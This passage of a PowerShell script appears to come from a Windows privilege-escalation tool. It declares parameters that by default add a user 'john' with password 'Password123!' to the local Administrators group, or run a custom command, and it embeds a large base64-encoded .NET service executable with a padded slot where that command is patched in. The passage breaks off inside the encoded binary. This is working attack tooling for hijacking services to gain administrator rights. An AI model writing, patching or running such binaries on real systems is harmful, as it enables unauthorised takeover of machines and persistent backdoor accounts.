1945 [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
1946 [Alias('ServiceName')]
1947 [String]
1948 [ValidateNotNullOrEmpty()]
1949 $Name,
1950
1951 [String]
1952 $UserName = 'john',
1953
1954 [String]
1955 $Password = 'Password123!',
1956
1957 [String]
1958 $LocalGroup = 'Administrators',
1959
1960 [Management.Automation.PSCredential]
1961 $Credential,
1962
1963 [String]
1964 [ValidateNotNullOrEmpty()]
1965 $Command,
1966
1967 [String]
1968 $Path = "$(Convert-Path .)\service.exe"
1969 )
1970
1971 BEGIN {
1972 # the raw unpatched service binary
1973 $B64Binary = "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UmVmbGVjdGlvbgBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAQXNzZW1ibHlDdWx0dXJlQXR0cmlidXRlAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBDb21WaXNpYmxlQXR0cmlidXRlAEd1aWRBdHRyaWJ1dGUAQXNzZW1ibHlWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAU3lzdGVtLkRpYWdub3N0aWNzAERlYnVnZ2FibGVBdHRyaWJ1dGUARGVidWdnaW5nTW9kZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAElEaXNwb3NhYmxlAENvbnRhaW5lcgBTdHJpbmcAVHJpbQBzZXRfU2VydmljZU5hbWUAUHJvY2VzcwBTdGFydABTeXN0ZW0uVGhyZWFkaW5nAFRocmVhZABTbGVlcABFbnZpcm9ubWVudABFeGl0AFJ1bgAARUEAQQBBACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAAL/3LwBDACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC